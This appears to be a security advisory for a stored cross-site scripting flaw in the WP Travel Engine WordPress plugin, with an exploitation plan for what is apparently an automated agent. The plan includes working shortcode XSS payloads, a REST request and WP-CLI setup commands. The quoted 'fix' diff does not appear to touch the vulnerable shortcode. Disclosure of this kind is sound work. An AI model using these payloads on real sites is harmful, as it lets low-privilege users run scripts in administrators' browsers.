WP Travel Engine - Travel and Tour Booking Plugin <= 6.7.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via wte_trip_tax Shortcode
Description
The WP Travel Engine – Tour Booking Plugin – Tour Operator Software plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wte_trip_tax' shortcode in all versions up to, and including, 6.7.5 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=6.7.5What Changed in the Fix
Changes introduced in v6.7.6
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-2437 - WP Travel Engine Shortcode XSS ## 1. Vulnerability Summary The **WP Travel Engine** plugin (up to version 6.7.5) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists within the handler for the `wte_trip_tax` sho…
Show full research plan
Exploitation Research Plan: CVE-2026-2437 - WP Travel Engine Shortcode XSS
1. Vulnerability Summary
The WP Travel Engine plugin (up to version 6.7.5) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists within the handler for the wte_trip_tax shortcode. Due to insufficient sanitization of shortcode attributes (such as before, after, or taxonomy) and a failure to escape these values before they are returned/echoed in the HTML output, a user with Contributor level permissions or higher can inject malicious JavaScript into a post or page. This script executes in the context of any user (including Administrators) who views the affected content.
2. Attack Vector Analysis
- Shortcode:
[wte_trip_tax] - Vulnerable Attributes: Likely
before,after,taxonomy, orclass(common taxonomy shortcode parameters). - Authentication Level: Contributor or higher (anyone with
edit_postscapability). - Endpoint: Any page or post where shortcodes can be processed (Post Editor).
- Payload Carry: The payload is embedded directly into the shortcode attributes within the post content.
3. Code Flow
- Registration: The plugin registers the shortcode (likely in a main initialization file or a dedicated shortcode class) using
add_shortcode( 'wte_trip_tax', 'callback_function' ). - Processing: When a post containing
[wte_trip_tax ...]is rendered, WordPress calls the associated callback function. - Attribute Handling: The callback uses
shortcode_atts()to merge user-provided attributes with defaults. - The Sink: The callback function likely constructs an HTML string and includes the attribute values directly. For example:
// Inferred vulnerable pattern $output = $atts['before'] . $taxonomy_links . $atts['after']; return $output; // Missing esc_html() or wp_kses() - Rendering: The unescaped string is returned to the WordPress content filter and rendered in the browser, executing the XSS.
4. Nonce Acquisition Strategy
This vulnerability does not require a specific plugin-defined nonce for the execution of the XSS, as shortcodes are interpreted by the WordPress core rendering engine. However, to inject the payload, the attacker must be able to save a post.
Extraction via Browser (If needed for AJAX/Gutenberg):
If the exploit were to be performed via a specialized plugin endpoint that requires a nonce:
- Identify Script Localization: Check for
wp_localize_scriptin the plugin source. - Shortcode Presence: The plugin's assets are typically enqueued on Trip pages or pages using the shortcode.
- Creation: Create a page with the shortcode using WP-CLI.
wp post create --post_type=page --post_status=publish --post_content='[wte_trip_tax]' - Extraction:
- Use
browser_navigateto the created page. - Use
browser_eval("window.wte_obj?.nonce")(Replacewte_objwith the actual localization key found in source, though for standard shortcode XSS, this is unnecessary).
- Use
5. Exploitation Strategy
The goal is to demonstrate that a Contributor can inject a script that executes for an Administrator.
Step-by-Step Plan:
- Login as Contributor: Obtain cookies for a user with the Contributor role.
- Prepare Payload: Use a standard XSS payload that breaks out of common HTML contexts.
[wte_trip_tax before="<script>alert(document.domain)</script>"] - Inject via Post Creation: Use the
http_requesttool to create or update a post with the payload. Since we are simulating a Contributor, we will use the WordPress REST API or the standardpost.phpendpoint. - Trigger XSS: Navigate to the published post as an Administrator.
Required HTTP Request (Post Creation):
URL: http://localhost:8080/wp-json/wp/v2/posts
Method: POST
Headers:
Content-Type: application/jsonAuthorization: [Contributor Auth Header]
Body:
{
"title": "Trip Overview",
"content": "[wte_trip_tax before=\"<img src=x onerror=alert('CVE-2026-2437')>\"]",
"status": "pending"
}
Note: Contributors usually "Submit for Review" (pending), but an Admin viewing the "Preview" or "Edit" page will still trigger the XSS.
6. Test Data Setup
- Target User: Ensure a user with role
contributorexists.wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Target Trip (Optional): Some taxonomy shortcodes require a valid post ID or the context of a specific post type. If the shortcode fails without a "Trip", create one:
wp post create --post_type=trip --post_title="Sample Trip" --post_status=publish - Payload Page: Create a page containing the shortcode.
wp post create --post_type=post --post_author=[AttackerID] --post_content='[wte_trip_tax before="<script>alert(1)</script>"]' --post_status=pending
7. Expected Results
- When an Administrator views the "Pending" post or the "Preview" of the post in the WordPress dashboard, an alert box with
CVE-2026-2437(or1) should appear. - Inspecting the page source should reveal the raw
<script>or<img>tag inside thewp-travel-engineoutput container.
8. Verification Steps
- Check Database: Verify the payload is stored in the
wp_poststable.wp db query "SELECT post_content FROM wp_posts WHERE post_content LIKE '%wte_trip_tax%';" - Frontend Inspection: Check the HTTP response of the rendered post for the unescaped payload.
- Use
http_requestto GET the post URL. - Search the body for
<img src=x onerror=alert.
- Use
9. Alternative Approaches
- Attribute Breakout: If
beforeis sanitized butclassis not:[wte_trip_tax class="\" onmouseover=\"alert(1)\""] - Taxonomy Injection: If the
taxonomyattribute is reflected:[wte_trip_tax taxonomy="<script>alert(1)</script>"] - Gutenberg Block: The plugin likely provides a Gutenberg block that wraps this shortcode. The exploit can also be tested by saving a block with malicious attributes via the REST API.
Summary
The WP Travel Engine plugin for WordPress is vulnerable to Authenticated (Contributor+) Stored Cross-Site Scripting via the 'wte_trip_tax' shortcode in versions up to and including 6.7.5. This vulnerability arises from insufficient input sanitization and output escaping of user-supplied shortcode attributes, allowing attackers to inject arbitrary web scripts into posts or pages.
Security Fix
@@ -148,8 +148,8 @@ * Exclude custom trips (from manual booking) from trip count on Trips list. * * @param \stdClass $counts An object containing the post counts by status. - * @param string $type Post type. - * @param string $perm Permission level. + * @param string $type Post type. + * @param string $perm Permission level. * @return \stdClass Modified counts. * @since 6.7.3 */ @@ -253,6 +253,7 @@ 'position' => 19, 'condition' => file_exists( WPTRAVELENGINE_UPDATES_DATA_PATH . '/data.json' ), ), + 'wptravelengine-logs' => new \WPTravelEngine\Logger\Admin\LogsPage(), ); $menus = apply_filters( 'wptravelengine-admin:boooking:submenus', $menus ); @@ -2520,6 +2521,11 @@ $wp_travel_engine_setting = get_post_meta( $enquiry_id, 'wp_travel_engine_setting', true ); $wp_travel_engine_enquiry_formdata = get_post_meta( $enquiry_id, 'wp_travel_engine_enquiry_formdata', true ); $wte_old_enquiry_details = isset( $wp_travel_engine_setting['enquiry'] ) ? $wp_travel_engine_setting['enquiry'] : array(); + + $enquiry_display = wptravelengine_get_enquiry_form_field_map( isset( $wp_travel_engine_enquiry_formdata['package_id'] ) ? absint( $wp_travel_engine_enquiry_formdata['package_id'] ) : 0 ); + $enquiry_field_map = $enquiry_display['field_map']; + $validation_only_types = $enquiry_display['validation_only_types']; + ob_start(); ?> <div style="background-color:#ffffff" class="wpte-main-wrap wpte-edit-enquiry"> @@ -2530,12 +2536,12 @@ <?php if ( ! empty( $wp_travel_engine_enquiry_formdata ) ) : foreach ( $wp_travel_engine_enquiry_formdata as $key => $data ) : - $data = is_array( $data ) ? implode( ', ', $data ) : $data; - $data_label = wp_travel_engine_get_enquiry_field_label_by_name( $key ); - - if ( 'package_name' === $key ) { - $data_label = esc_html__( 'Package Name', 'wp-travel-engine' ); + if ( wptravelengine_enquiry_should_hide_field( $key, $enquiry_field_map, $validation_only_types ) ) { + continue; } + + $data = is_array( $data ) ? implode( ', ', $data ) : $data; + $data_label = wptravelengine_enquiry_get_field_display_label( $key, $enquiry_field_map ); ?> <li> <b><?php echo esc_html( $data_label ); ?></b>
Exploit Outline
To exploit this vulnerability, an attacker must have at least Contributor-level authentication. The attacker creates or edits a post and inserts the [wte_trip_tax] shortcode, including a malicious JavaScript payload within attributes like 'before' or 'after' (e.g., [wte_trip_tax before="<script>alert(document.domain)</script>"]). When the post is saved or submitted for review, the payload is stored in the database. When an administrator or any other user views the post (including in the admin preview mode), the shortcode handler renders the unescaped attribute, executing the script in the user's browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.